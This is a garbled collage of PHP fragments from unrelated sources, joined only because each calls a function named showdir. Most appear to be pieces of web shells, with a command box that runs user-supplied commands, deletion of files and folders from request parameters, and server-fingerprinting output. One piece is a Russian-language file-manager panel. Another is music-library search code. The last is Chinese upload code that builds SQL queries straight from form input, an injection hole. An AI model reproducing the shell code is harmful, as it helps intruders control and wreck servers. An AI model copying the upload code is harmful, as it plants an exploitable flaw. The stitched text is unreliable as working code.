<input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:6%;" /></td> </tr> </table> </form> <?php } else { if (isset($_GET['delete']) && $_GET['delete'] != "") { $file = $_GET['delete']; @unlink($file); } elseif (isset($_GET['fdelete']) && $_GET['fdelete'] != "") { @rmdir(rtrim($_GET['fdelete'], DIRECTORY_SEPARATOR)); } elseif (isset($_GET['mkdir']) && $_GET['mkdir'] != "") { $path = $pwd . $_GET['mkdir']; @mkdir($path); } $buff = showdir($pwd, $prompt); echo $buff; } ?> <div class="info">[Edited <span class="gaya"><a href="?"><?php echo $xName; ?> </a></span> EditioN__]</div> <div class="jaya"> © <?php echo date("Y", time()) . " " . $xName; ?> ;-) </div> </div> </body> </html>>
function viewsearch() { global $cfg; $kqm = new kq_Measure(); $kqm->start(); if (!$this->rows) { $result = db_execquery($this->query); } else { $result = db_execquery($this->query); } $kqm->stop(); if (!$this->rows) { $this->rows = db_num_rows($result); } $this->mwritten = 0; $max = db_guinfo('searchrows'); if (db_guinfo('detailview') && $this->hitsas == 1) { $max = db_guinfo('detailrows'); } $extra = ''; if ($this->rows > $max) { $extra = get_lang(6, $max); } showdir('', get_lang(8, checkchs($this->what, false)), 0); echo '<table width="100%" cellspacing="0" cellpadding="0" border="0">'; echo '<tr><td>'; echo '<font class="wtext"> - ' . get_lang(9) . ' ' . $this->rows . ' ' . $extra . ' / ' . $kqm->result(3) . ' ' . get_lang(7) . '</font>'; echo '</td></tr>'; if ($this->hitsas == 1) { echo '<tr><td><table width="100%" cellspacing="0" cellpadding="0" border="0">'; echo '<tr><td height="10"></td></tr>'; echo '<tr><td class="notice">'; echo showviewform(); echo ' <input type="submit" class="fatbuttom" name="chlistoption" value="' . get_lang(107) . '"/>'; echo '</td></tr>'; echo '<tr><td height="5"></td></tr>'; echo '</table>'; echo '<table width="100%" cellspacing="0" cellpadding="0" border="0"><tr><td></td></tr>'; } $filter = 0; while ($row = db_fetch_assoc($result)) { if ($this->mwritten + 1 > $max) { break; } $f2 = new file2($row['id'], false, $row); $fdesc = new filedesc($f2->fname); if ($fdesc->view && $f2->ifexists()) { switch ($this->hitsas) { case 0: print_file($row['id'], 1, 1, $f2, $row['id']); $this->files++; break; case 1: $ainf = gen_aheader($row['album'], $row['artist'], $row['lengths'], $row['titles'], $row['year'], $row['genre']); print_album($row['drive'], $row['artist'] . ' - ' . $row['album'], $f2->relativepath, $ainf, $this->what, 0, $row['id']); break; } $this->mwritten++; } else { $filter++; } } if ($this->hitsas == 1) { echo '</table></td></tr>'; } if ($this->rows == 0) { echo '<tr><td><font class="fdet">' . get_lang(10) . '</font></td></tr>'; } if ($filter > 0) { echo '<tr><td><font class="fdet">' . get_lang(264, $filter) . '</font></td></tr>'; } echo '</table>'; }
} else { $s_result .= "<pre>" . $nd . " is not a directory" . "</pre>"; } } else { $s_r = htmlspecialchars(exe($cmd)); if ($s_r != '') { $s_result .= "<pre>" . $s_r . "</pre>"; } else { $s_result .= showdir($pwd, $s_prompt, $s_win); } } } else { $s_result .= showdir($pwd, $s_prompt, $s_win); } } else { $s_result .= showdir($pwd, $s_prompt, $s_win); } } // print useful info $s_info = "<table class=\"headtbl\"><tr><td>" . $s_software . "</td></tr>"; $s_info .= "<tr><td>" . $s_system . "</td></tr>"; if ($s_id != "") { $s_info .= "<tr><td>" . $s_id . "</td></tr>"; } $s_info .= "<tr><td>server ip : " . $s_server_ip . "<span class=\"gaya\"> | </span>your ip : " . $s_my_ip . "<span class=\"gaya\"> | </span>"; if ($s_safemode) { $s_info .= "safemode <span class=\"gaya\">ON</span>"; } else { $s_info .= "safemode <span class=\"gaya\">OFF</span>"; } $s_info .= "<span class=\"gaya\"> | </span> Time @ Server : " . date("d M Y H:i:s", time());
unlink($directory . "/" . $file); } } } closedir($dir); rmdir("{$directory}/{$file}"); } if (isset($_REQUEST[deldir]) && !empty($_REQUEST[deldir])) { $deldir = $_REQUEST[deldir]; $mydir = updir(updir($deldir)); deletedir("{$deldir}"); echo "<meta http-equiv=Refresh content=\"0; url={$PHP_SELF}?d={$mydir}&show\">"; die; } if (isset($show)) { showdir("{$d}"); } if (isset($_REQUEST[tools])) { echo <<<EOF <center> <table width="505" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC"> <tr> <td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF"> .: Действия для данной папки :. </td> </tr> </table> </center> EOF; } if (isset($_REQUEST[tools]) or isset($_REQUEST[tmkdir])) {
} else { $s_result .= "<p class='notif'>" . $nd . " is not a directory" . "</p>"; } } else { $s_r = hss(exe($cmd)); if ($s_r != '') { $s_result .= "<pre>" . $s_r . "</pre>"; } else { $s_result .= showdir($cwd); } } } else { $s_result .= showdir($cwd); } } else { $s_result .= showdir($cwd); } } // print useful info $s_info = "<table class='headtbl'><tr><td>" . $s_system . "</td></tr>"; $s_info .= "<tr><td>" . $s_software . "</td></tr>"; $s_info .= "<tr><td>server ip : " . $s_server_ip . "<span class='gaya'> | </span>your ip : " . $s_my_ip; $s_info .= "<span class='gaya'> | </span> Time @ Server : " . @date("d M Y H:i:s", time()); $s_info .= "\n\t\t</td></tr>\n\t\t<tr><td style='text-align:left;'>\n\t\t\t<table class='headtbls'><tr>\n\t\t\t<td>" . trim($letters) . "</td>\n\t\t\t<td>\n\t\t\t<span id='chpwd'>\n\t\t\t <a href=\"javascript:tukar('chpwd','chpwdform')\">\n\t\t\t<img height='16px' width='16px' src='" . $s_self . "favicon' alt='Change' style='vertical-align:middle;margin:6px 0;border:0;' />\n\t\t\t </a>" . swd($cwd) . "</span>\n\t\t\t<form action='" . $s_self . "' method='post' style='margin:0;padding:0;'>\n\t\t\t<span class='sembunyi' id='chpwdform'>\n\t\t\t <a href=\"javascript:tukar('chpwdform','chpwd');\">\n\t\t\t<img height='16px' width='16px' src='" . $s_self . "favicon' alt='Change' style='vertical-align:middle;margin:6px 0;border:0;' />\n\t\t\t</a> \n\t\t\t<input type='hidden' name='cd' class='inputz' style='width:300px;' value='" . cp($cwd) . "' />\n\t\t\t<input type='text' name='view' class='inputz' style='width:300px;' value='" . $cwd . "' />\n\t\t\t<input class='inputzbut' type='submit' name='submit' value='view file / folder' />\n\t\t\t</form>\n\t\t\t</span>\n\t\t\t</td></tr>\n\t\t\t</table>\n\t\t</td></tr>\n\t\t</table>"; } ?> <!DOCTYPE html> <html> <head> <title><?php echo $s_title;
//程式寫好後可刪 echo '<br />檔案類型:' . $_FILES['newproductphoto']['type']; //程式寫好後可刪 echo '<br />檔案大小:' . $_FILES['newproductphoto']['size']; //程式寫好後可刪 echo '<br />暫存檔名:' . $_FILES['newproductphoto']['tmp_name']; //程式寫好後可刪 $err = mkthumb($upload_dir . $sourcefile, $thumb_dir . $sourcefile, 168); if ($err != 'OK') { echo '圖檔壓縮錯誤<br>'; } echo "成功儲存" . $sourcefile . "在" . $thumb_dir . '<br>'; } else { echo '同名檔案已存在(' . $upload_dir . $_FILES['newproductphoto']['name'] . ')<br>'; } echo '<br>' . showdir($upload_dir); //顯示指定的資料夾裡的內容 //******新增 商品資料 商品照片資料 到資料庫裡***** //echo "類別代號=".$_POST['productcategory']."號"; //程式寫好後可刪 $SQLStr = "insert into 商品 values(" . $_POST['newproductno'] . ",'" . $_POST['newproductname'] . "'," . $_POST['newproductprice'] . ")"; echo "<p>SQL=" . $SQLStr . "</p>"; //程式寫好後可刪 $rs = mysql_query($SQLStr); //執行SQL新增指令 if (mysql_error()) { die("新增商品 發生錯誤" . mysql_error()); } $SQLStr = "insert into 商品照片 values('" . $_FILES['newproductphoto']['name'] . "'," . $_POST['newproductno'] . ")"; echo "<p>SQL=" . $SQLStr . "</p>"; //程式寫好後可刪 $rs = mysql_query($SQLStr);